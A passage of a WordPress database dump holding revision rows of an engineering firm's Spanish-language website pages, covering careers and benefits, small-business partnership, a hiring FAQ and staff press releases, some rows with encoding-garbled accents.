target=\"_blank\">Ver internados profesionales</a></span>\n\n&nbsp; <h3>diversidad</h3> Moffatt &amp; Nichol garantiza la no discriminaciÃ³n en todos los programas y actividades de acuerdo con los tÃtulos VI y VII de la Ley de derechos civiles de 1964. Si necesita mÃ¡s informaciÃ³n o ayuda especial para personas con discapacidades o con conocimiento limitado del inglÃ©s, pÃ³ngase en contacto con Recursos Humanos llamando al (888) 399-6609. Los usuarios de telÃ©fonos de texto (TTY/TDD) sÃrvanse llamar al 711.\n\n&nbsp; <h3>reclutadores independientes</h3> Si usted es un reclutador, agencia de bÃºsqueda de empleo, o si bajo alguna otra circunstancia desea referir a un candidato a Moffatt &amp; Nichol, debe tener un acuerdo vigente a travÃ©s de nuestra Oficina corporativa. Todo CV enviado a cualquier empleado de Moffatt &amp; Nichol sin tener un acuerdo en vigencia firmado por el Director de Recursos Humanos o Debra Kennedy, serÃ¡ considerado como no solicitado y de propiedad de Moffatt &amp; Nichol, y no pagaremos ningÃºn honorario por colocaciÃ³n si el candidato es contratado. Si tiene alguna pregunta, comunÃquese con Debra Kennedy, Gerente de Recursos Humanos, escribiendo a <a href=\"mailto:dkennedy@moffattnichol.com\">dkennedy@moffattnichol.com</a> .\n\n</div>\n<div class=\"family-right\">\n<h4>nuestros beneficios</h4>\n<div class=\"txt-box-family\">\n<div class=\"top-para\"><em>Moffatt &amp; Nichol</em> ofrece a sus empleados un paquete integral de beneficios que incluye opciones de atenciÃ³n mÃ©dica y dental pagadas totalmente por el empleador. Los beneficios se adaptan a las necesidades de los empleados e incluyen:</div>\n<p class=\"divider-line-new\"><strong>De salud y Financieros </strong></p>\n\n<ul>\n	<li style=\"color: #fff;\">AtenciÃ³n mÃ©dica</li>\n	<li style=\"color: #fff;\">AtenciÃ³n dental</li>\n	<li style=\"color: #fff;\">AtenciÃ³n de la vista</li>\n	<li style=\"color: #fff;\">Aporte del empleador igual al aporte del empleado al fondo de retiro </li>\n	<li style=\"color: #fff;\">Bonificaciones basadas en incentivos</li>\n	<li style=\"color: #fff;\">Discapacidad de corto y largo plazo pagada por el empleador</li>\n	<li style=\"color: #fff;\">Cobertura de medicamentos recetados</li>\n	<li style=\"color: #fff;\">Seguro de vida pagado por la compaÃ±Ãa</li>\n	<li style=\"color: #fff;\">Programa de ayuda a empleados</li>\n	<li style=\"color: #fff;\">Seguro de atenciÃ³n mÃ©dica de largo plazo</li>\n	<li style=\"color: #fff;\">Cuentas Flexibles de Gastos (FSA, por sus siglas en inglÃ©s)</li>\n	<li style=\"color: #fff;\">Beneficios de transporte</li>\n	<li style=\"color: #fff;\">Programas de salud y bienestar</li>\n</ul>\n<p class=\"divider-line-new\"><strong>Tiempo libre pagado </strong></p>\n\n<ul>\n	<li style=\"color: #fff;\">Licencia personal</li>\n	<li style=\"color: #fff;\">DÃas feriados</li>\n	<li style=\"color: #fff;\">Reconocimiento de servicios</li>\n</ul>\n<p class=\"divider-line-new\"><strong>Otros beneficios</strong></p>\n\n<ul>\n	<li style=\"color: #fff;\">Cargos de licencia profesional</li>\n	<li style=\"color: #fff;\">Cuotas de membrecÃas profesionales</li>\n	<li style=\"color: #fff;\">Reembolso de pago de inscripciÃ³n</li>\n	<li style=\"color: #fff;\">Programas y certificaciones de desarrollo profesional</li>\n	<li style=\"color: #fff;\">Programas de capacitaciÃ³n interna</li>\n	<li style=\"color: #fff;\">Universidad Moffatt &amp; Nichol</li>\n	<li style=\"color: #fff;\">BonificaciÃ³n por recomendaciÃ³n de nuevo empleado</li>\n</ul>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Ãšnase a nuestro equipo','','inherit','open','open','','67-revision','','','2011-10-18 11:38:57','2011-10-18 11:38:57','',67,'http://moffattnichol.com/spanish/67-revision/',0,'revision','',0),(2511,1,'2012-06-15 09:03:19','2012-06-15 09:03:19','<div class=\"content_faq\">\r\n<div class=\"family-left\">\r\n<h1>carreras profesionales</h1>\r\nUsted ha invertido su tiempo, energía y recursos en colocar la base para una carrera enriquecedora y provechosa. Ahora es el momento de dar el siguiente paso.\r\n\r\nEs tiempo de unirse a Moffatt &amp; Nichol, una firma de ingeniería, planeamiento y ciencias, internacionalmente reconocida con oficinas en Norteamérica, Europa, América Latina, el Medio Oriente y la Cuenca del Pacífico. En Moffatt &amp; Nichol, usted formará equipo con un diverso grupo de profesionales de alto nivel, asumirá nuevos desafíos y se dedicará a una trayectoria profesional que utiliza sus fortalezas e intereses. Usted comenzará de inmediato, trabajará en proyectos importantes e interactuará con expertos líderes en la industria desde el primer día.\r\n\r\nEstamos buscando candidatos con un título universitario en ingeniería civil y un posgrado enfocado en una disciplina relacionada, como ingeniería estructural, de transporte o costera. Es deseable contar con alguna licencia o certificación profesional.\r\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver ofertas de trabajo</a></span>\r\n\r\n&nbsp; <h3>cualidades personales</h3> Los candidatos elegidos deben poder trabajar en equipo, dar muestras de potencial de liderazgo, tener excelentes habilidades personales y de comunicación, tener automotivación, comprometerse a producir trabajo de alta calidad y desear asumir los retos y oportunidades que existen en un ambiente global.\r\n\r\n&nbsp; <h3>empleos actuales</h3> Moffatt &amp; Nichol le invita a examinar nuestras actuales ofertas de empleo en nuestras oficinas a nivel mundial.\r\nÂ \r\n\r\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver ofertas de trabajo</a></span>\r\n\r\n&nbsp; <h3>internado profesional</h3> ¡Nunca es demasiado pronto para comenzar a planear su primer empleo! Los programas de internado profesional de Moffatt &amp; Nichol están diseñados para ofrecer valiosa experiencia práctica a estudiantes de cualquier nivel de educación.\r\n\r\n<span class=\"view-listing\"><a title=\"Ver internados profesionales\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver internados profesionales</a></span>\r\n\r\n&nbsp; <h3>diversidad</h3> Moffatt &amp; Nichol garantiza la no discriminación en todos los programas y actividades de acuerdo con los títulos VI y VII de la Ley de derechos civiles de 1964. Si necesita más información o ayuda especial para personas con discapacidades o con conocimiento limitado del inglés, póngase en contacto con Recursos Humanos llamando al (888) 399-6609. Los usuarios de teléfonos de texto (TTY/TDD) sírvanse llamar al 711.\r\n\r\n&nbsp; <h3>reclutadores independientes</h3> Si usted es un reclutador, agencia de búsqueda de empleo, o si bajo alguna otra circunstancia desea referir a un candidato a Moffatt &amp; Nichol, debe tener un acuerdo vigente a través de nuestra Oficina corporativa. Todo CV enviado a cualquier empleado de Moffatt &amp; Nichol sin tener un acuerdo en vigencia firmado por el Director de Recursos Humanos o Debra Kennedy, será considerado como no solicitado y de propiedad de Moffatt &amp; Nichol, y no pagaremos ningún honorario por colocación si el candidato es contratado. Si tiene alguna pregunta, comuníquese con Debra Kennedy, Gerente de Recursos Humanos, escribiendo a <a href=\"mailto:dkennedy@moffattnichol.com\">dkennedy@moffattnichol.com</a> .\r\n\r\n</div>\r\n<div class=\"family-right\">\r\n<h4>nuestros beneficios</h4>\r\n<div class=\"txt-box-family\">\r\n<div class=\"top-para\"><em>Moffatt &amp; Nichol</em> ofrece a sus empleados un paquete integral de beneficios que incluye opciones de atención médica y dental pagadas totalmente por el empleador. Los beneficios se adaptan a las necesidades de los empleados e incluyen:</div>\r\n<p class=\"divider-line-new\"><strong>De salud y Financieros </strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Atención médica</li>\r\n	<li style=\"color: #fff;\">Atención dental</li>\r\n	<li style=\"color: #fff;\">Atención de la vista</li>\r\n	<li style=\"color: #fff;\">Aporte del empleador igual al aporte del empleado al fondo de retiro </li>\r\n	<li style=\"color: #fff;\">Bonificaciones basadas en incentivos</li>\r\n	<li style=\"color: #fff;\">Discapacidad de corto y largo plazo pagada por el empleador</li>\r\n	<li style=\"color: #fff;\">Cobertura de medicamentos recetados</li>\r\n	<li style=\"color: #fff;\">Seguro de vida pagado por la compañía</li>\r\n	<li style=\"color: #fff;\">Programa de ayuda a empleados</li>\r\n	<li style=\"color: #fff;\">Seguro de atención médica de largo plazo</li>\r\n	<li style=\"color: #fff;\">Cuentas Flexibles de Gastos (FSA, por sus siglas en inglés)</li>\r\n	<li style=\"color: #fff;\">Beneficios de transporte</li>\r\n	<li style=\"color: #fff;\">Programas de salud y bienestar</li>\r\n</ul>\r\n<p class=\"divider-line-new\"><strong>Tiempo libre pagado </strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Licencia personal</li>\r\n	<li style=\"color: #fff;\">Días feriados</li>\r\n	<li style=\"color: #fff;\">Reconocimiento de servicios</li>\r\n</ul>\r\n<p class=\"divider-line-new\"><strong>Otros beneficios</strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Cargos de licencia profesional</li>\r\n	<li style=\"color: #fff;\">Cuotas de membrecías profesionales</li>\r\n	<li style=\"color: #fff;\">Reembolso de pago de inscripción</li>\r\n	<li style=\"color: #fff;\">Programas y certificaciones de desarrollo profesional</li>\r\n	<li style=\"color: #fff;\">Programas de capacitación interna</li>\r\n	<li style=\"color: #fff;\">Universidad Moffatt &amp; Nichol</li>\r\n	<li style=\"color: #fff;\">Bonificación por recomendación de nuevo empleado</li>\r\n</ul>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Únase a nuestro equipo','','inherit','open','open','','67-revision-2','','','2012-06-15 09:03:19','2012-06-15 09:03:19','',67,'http://moffattnichol.com/spanish/67-revision-2/',0,'revision','',0),(2512,1,'2013-01-09 06:27:26','2013-01-09 06:27:26','<div class=\"content_faq\">\n<div class=\"partnership_left\">\n<h1>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. \n\nMediante los programas de participación y marketing, identificamos a pequeñas compañías calificadas en todo Estados Unidos con un conocimiento técnico que se ajusta a nuestro segmento de mercado para una posible asociación o subcontratación en programas gubernamentales.\n\n\n\n<strong style=\"line-height:14px; float:left; margin-bottom:10px;\">Postulación al programa de la pequeña empresa</strong>\nInvitamos a los participantes del Programa de la pequeña empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que seanCertificado como uno de los tipos de negocios indicados a continuación.&nbsp;\n\n<div class=\"lft_margin\">\n              - Pequeña empresa<br />\n                - Pequeña empresa en desventaja <br />\n                - Pequeña empresa en zona Comercial Históricamente Subutilizada (HUB, por sus siglas en inglés)  <br />\n                - Pequeña empresa de propiedad de una mujer<br />\n                - Pequeña empresa de propiedad de un veterano de guerra<br />\n                - Pequeña empresa de propiedad de veterano de guerra discapacitado <br />\n                &nbsp; en servicio<br />\n                - Con certificación 8 (a) de pequeña empresa <br />\n                - Otro \n            </div>\n </div>\n          <div class=\"partnership_right\">\n            <h4>postulación de pequeña empresa</h4>\n            <div class=\"txt_boxbg\">\n             <span>[contact-form-7 id=\"2381\" title=\"Small Business Outreach\"]</span>\n            </div>\n <div class=\"clear\"></div>\n</div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Participación de pequeñas empresas','','inherit','open','open','','69-autosave','','','2013-01-09 06:27:26','2013-01-09 06:27:26','',69,'http://moffattnichol.com/spanish/69-autosave/',0,'revision','',0),(2513,1,'2012-05-29 12:02:47','2012-05-29 12:02:47','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. \r\n\r\nMediante los programas de participaciÃ³n y marketing, identificamos a pequeÃ±as compaÃ±Ãas calificadas en todo Estados Unidos con un conocimiento tÃ©cnico que se ajusta a nuestro segmento de mercado para una posible asociaciÃ³n o subcontrataciÃ³n en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:30px;\">PostulaciÃ³n al programa de la pequeÃ±a empresa</strong> Invitamos a los participantes del Programa de la pequeÃ±a empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuaciÃ³n.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - PequeÃ±a empresa<br />\r\n                - PequeÃ±a empresa en desventaja <br />\r\n                - PequeÃ±a empresa en zona Comercial HistÃ³ricamente Subutilizada (HUB, por sus siglas en inglÃ©s)  <br />\r\n                - PequeÃ±a empresa de propiedad de una mujer<br />\r\n                - PequeÃ±a empresa de propiedad de un veterano de guerra<br />\r\n                - PequeÃ±a empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificaciÃ³n 8 (a) de pequeÃ±a empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulaciÃ³n de pequeÃ±a empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2381\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ParticipaciÃ³n de pequeÃ±as empresas','','inherit','open','open','','69-revision-4','','','2012-05-29 12:02:47','2012-05-29 12:02:47','',69,'http://moffattnichol.com/spanish/69-revision-4/',0,'revision','',0),(2514,1,'2012-06-15 09:13:35','2012-06-15 09:13:35','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. \r\n\r\nMediante los programas de participación y marketing, identificamos a pequeñas compañías calificadas en todo Estados Unidos con un conocimiento técnico que se ajusta a nuestro segmento de mercado para una posible asociación o subcontratación en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:30px;\">Postulación al programa de la pequeña empresa</strong> Invitamos a los participantes del Programa de la pequeña empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuación.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - Pequeña empresa<br />\r\n                - Pequeña empresa en desventaja <br />\r\n                - Pequeña empresa en zona Comercial Históricamente Subutilizada (HUB, por sus siglas en inglés)  <br />\r\n                - Pequeña empresa de propiedad de una mujer<br />\r\n                - Pequeña empresa de propiedad de un veterano de guerra<br />\r\n                - Pequeña empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificación 8 (a) de pequeña empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulación de pequeña empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2381\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Participación de pequeñas empresas','','inherit','open','open','','69-revision-5','','','2012-06-15 09:13:35','2012-06-15 09:13:35','',69,'http://moffattnichol.com/spanish/69-revision-5/',0,'revision','',0),(2515,1,'2012-06-15 09:14:48','2012-06-15 09:14:48','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. \r\n\r\nMediante los programas de participación y marketing, identificamos a pequeñas compañías calificadas en todo Estados Unidos con un conocimiento técnico que se ajusta a nuestro segmento de mercado para una posible asociación o subcontratación en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:30px;\">Postulación al programa de la pequeña empresa</strong> Invitamos a los participantes del Programa de la pequeña empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuación.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - Pequeña empresa<br />\r\n                - Pequeña empresa en desventaja <br />\r\n                - Pequeña empresa en zona Comercial Históricamente Subutilizada (HUB, por sus siglas en inglés)  <br />\r\n                - Pequeña empresa de propiedad de una mujer<br />\r\n                - Pequeña empresa de propiedad de un veterano de guerra<br />\r\n                - Pequeña empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificación 8 (a) de pequeña empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulación de pequeña empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n             <span>[contact-form-7 id=\"870\" title=\"Partnership\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Participación de pequeñas empresas','','inherit','open','open','','69-revision-6','','','2012-06-15 09:14:48','2012-06-15 09:14:48','',69,'http://moffattnichol.com/spanish/69-revision-6/',0,'revision','',0),(2516,1,'2012-06-15 09:18:33','2012-06-15 09:18:33','<div class=\"content_faq\">\r\n        <h1 class=\"title-faq\">preguntas frecuentes</h1>\r\n          <div class=\"content_faq-new\"> <strong>¿Qué es Moffatt & Nichol?</strong><br />\r\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.\r\n\r\n            <strong>¿Dónde están sus oficinas?</strong><br />\r\n            Moffatt & Nichol atiende a sus clientes desde <a href=\"http://moffattnichol.com/spanish/our-offices\" title=\"Nuestras oficinas\">27 oficinas</a> a lo largo de Norteamérica, Europa, América Latina, el Medio Oriente y la Cuenca del Pacífico.\r\n            \r\n            <strong>¿Cómo debo enviar mi CV?</strong><br />\r\n            Haga clic en el enlace <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\"  title=\"Buscar empleos\">Buscar empleos</a> para acceder a nuestra base de datos de las vacantes actuales. Después de postular a un puesto, su CV es enviado directamente a nuestra base de datos de postulantes, a la que nuestros especialistas de RRHH pueden acceder de inmediato. Aquí puede encontrar herramientas para ayudarle a preparar un CV. Utilice el formulario <a href=\"http://moffattnichol.com/spanish/contact-us/\" title=\"Contáctenos\">Contáctenos</a> si tiene alguna pregunta relacionada con RRHH.\r\n            \r\n            <strong>¿Cómo puedo modificar mi perfil de candidato o postular a más empleos posteriormente?</strong><br />\r\n            Cuando postula a un puesto en línea, se le solicita crear un perfil de usuario. Usted puede actualizar su perfil en cualquier momento. Puede enviar su CV una vez cada 90 días. Todo envío adicional no será tomado en cuenta.\r\n            \r\n            <strong>¿Todavía está vacante este puesto?</strong><br />\r\n            Todos los puestos que se indican en nuestra base de datos están vacantes.\r\n\r\n            <strong>¿Cómo puedo postular a un internado profesional con Moffatt & Nichol?</strong><br />\r\n            Sírvase visitar nuestra página Internados profesionales si desea información sobre nuestro programa y haga clic en los internados actuales.\r\n\r\n            <strong>No veo un puesto adecuado para mi experiencia. ¿Puedo enviar mi CV para su consideración de todos modos?</strong><br />\r\n            No aceptamos CV para los cuales no existe un puesto específico identificado.\r\n\r\n            <strong>¿Hay alguien con quien puedo hablar en relación con este puesto?</strong><br />\r\n            La descripción de funciones para nuestros puestos actuales contiene toda la información necesaria sobre el puesto. Cuando se comuniquen con usted para una entrevista, tendrá la oportunidad de recibir respuestas más específicas a sus preguntas relativas al empleo.\r\n\r\n            <strong>¿Cuándo esperan cubrir esta vacante?</strong><br />\r\n            Los períodos de tiempo para contratar varían según el puesto. Cuando un puesto ha sido retirado de nuestro sitio, significa que ya ha sido cubierto o que ya no aceptamos más CVs para dicho puesto.\r\n\r\n            <strong>¿Cómo funciona el proceso de la entrevista?</strong><br />\r\n            Inicialmente, un profesional de RRHH se pondrá en contacto con usted para una entrevista telefónica. Después podrá reunirse con el gerente de contrataciones y otro personal relacionado con la decisión de contratación. Se le puede solicitar que asista a más de una entrevista. Durante el proceso de contratación, se comprobarán sus referencias y se realizará una comprobación de sus antecedentes laborales antes de que se le extienda una oferta de empleo.\r\n\r\n          </div>\r\n        </div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Preguntas frecuentes','','inherit','open','open','','71-autosave','','','2012-06-15 09:18:33','2012-06-15 09:18:33','',71,'http://moffattnichol.com/spanish/71-autosave/',0,'revision','',0),(2517,1,'2011-10-18 11:39:53','2011-10-18 11:39:53','<div class=\"content_faq\">\n        <h1 class=\"title-faq\">preguntas frecuentes</h1>\n          <div class=\"content_faq-new\"> <strong>Â¿QuÃ© es Moffatt & Nichol?</strong><br />\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.\n\n            <strong>Â¿DÃ³nde estÃ¡n sus oficinas?</strong><br />\n            Moffatt & Nichol atiende a sus clientes desde <a href=\"http://moffattnichol.com/spanish/our-offices\" title=\"Nuestras oficinas\">27 oficinas</a> a lo largo de NorteamÃ©rica, Europa, AmÃ©rica Latina, el Medio Oriente y la Cuenca del PacÃfico.\n            \n            <strong>Â¿CÃ³mo debo enviar mi CV?</strong><br />\n            Haga clic en el enlace <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\"  title=\"Buscar empleos\">Buscar empleos</a> para acceder a nuestra base de datos de las vacantes actuales. DespuÃ©s de postular a un puesto, su CV es enviado directamente a nuestra base de datos de postulantes, a la que nuestros especialistas de RRHH pueden acceder de inmediato. AquÃ puede encontrar herramientas para ayudarle a preparar un CV. Utilice el formulario <a href=\"http://moffattnichol.com/spanish/contact-us/\" title=\"ContÃ¡ctenos\">ContÃ¡ctenos</a> si tiene alguna pregunta relacionada con RRHH.\n            \n            <strong>Â¿CÃ³mo puedo modificar mi perfil de candidato o postular a mÃ¡s empleos posteriormente?</strong><br />\n            Cuando postula a un puesto en lÃnea, se le solicita crear un perfil de usuario. Usted puede actualizar su perfil en cualquier momento. Puede enviar su CV una vez cada 90 dÃas. Todo envÃo adicional no serÃ¡ tomado en cuenta.\n            \n            <strong>Â¿TodavÃa estÃ¡ vacante este puesto?</strong><br />\n            Todos los puestos que se indican en nuestra base de datos estÃ¡n vacantes.\n\n            <strong>Â¿CÃ³mo puedo postular a un internado profesional con Moffatt & Nichol?</strong><br />\n            SÃrvase visitar nuestra pÃ¡gina Internados profesionales si desea informaciÃ³n sobre nuestro programa y haga clic en los internados actuales.\n\n            <strong>No veo un puesto adecuado para mi experiencia. Â¿Puedo enviar mi CV para su consideraciÃ³n de todos modos?</strong><br />\n            No aceptamos CV para los cuales no existe un puesto especÃfico identificado.\n\n            <strong>Â¿Hay alguien con quien puedo hablar en relaciÃ³n con este puesto?</strong><br />\n            La descripciÃ³n de funciones para nuestros puestos actuales contiene toda la informaciÃ³n necesaria sobre el puesto. Cuando se comuniquen con usted para una entrevista, tendrÃ¡ la oportunidad de recibir respuestas mÃ¡s especÃficas a sus preguntas relativas al empleo.\n\n            <strong>Â¿CuÃ¡ndo esperan cubrir esta vacante?</strong><br />\n            Los perÃodos de tiempo para contratar varÃan segÃºn el puesto. Cuando un puesto ha sido retirado de nuestro sitio, significa que ya ha sido cubierto o que ya no aceptamos mÃ¡s CVs para dicho puesto.\n\n            <strong>Â¿CÃ³mo funciona el proceso de la entrevista?</strong><br />\n            Inicialmente, un profesional de RRHH se pondrÃ¡ en contacto con usted para una entrevista telefÃ³nica. DespuÃ©s podrÃ¡ reunirse con el gerente de contrataciones y otro personal relacionado con la decisiÃ³n de contrataciÃ³n. Se le puede solicitar que asista a mÃ¡s de una entrevista. Durante el proceso de contrataciÃ³n, se comprobarÃ¡n sus referencias y se realizarÃ¡ una comprobaciÃ³n de sus antecedentes laborales antes de que se le extienda una oferta de empleo.\n\n          </div>\n        </div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Preguntas frecuentes','','inherit','open','open','','71-revision','','','2011-10-18 11:39:53','2011-10-18 11:39:53','',71,'http://moffattnichol.com/spanish/71-revision/',0,'revision','',0),(2518,1,'2012-06-15 09:23:02','2012-06-15 09:23:02','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n<div class=\"press-release-para\">En Moffatt &amp; Nichol estamos justificadamente orgullosos de nuestros empleados y de los proyectos en que trabajamos. Nuestra meta es proporcionar la información que los clientes, los medios y los solicitantes de empleo necesitan sobre nuestros mercados, nuestra gente y nuestros servicios. Nuestros comunicados de prensa, próximos eventos y boletines de noticias le dan una buena idea de quién somos. Si aún tiene preguntas sobre la compañía o si desea ser agregado a nuestra lista de distribución del boletín de noticias <a href=\"mailto:news@moffattnichol.com\" title=\"Haga clic aquí\">haga clic aquí </a></div>\r\n&nbsp; <h3>Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<div class=\"colombia_one\">\r\n<div class=\"press_release_left\">\r\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"colombia-new\">LONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la firma. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transportes de California), ha completado muchos proyectos de carreteras estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha completado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de proyectos o Ingeniero estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es un ingeniero profesional y recibió su grado de ingeniería civil de la Universidad Politécnica del estado de California, Pomona.\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3>Carlos Noguera se une a la firma como Gerente General para la oficina de Colombia</h3>\r\n<div class=\"press_release_left\">\r\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new-two.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"colombia-new\">LONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la firma a Carlos Noguera como Gerente General para la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con la compañía colombiana HMV Ingenieros, donde tuvo un papel importante como Representante legal e Ingeniero director general desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al puerto de Buenaventura, Colombia donde fue un factor clave en los logros de la firma en Colombia.\r\n \r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene el grado en ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.  \r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3>Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<div class=\"press_release_left\">\r\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new-one.jpg\" alt=\"\" 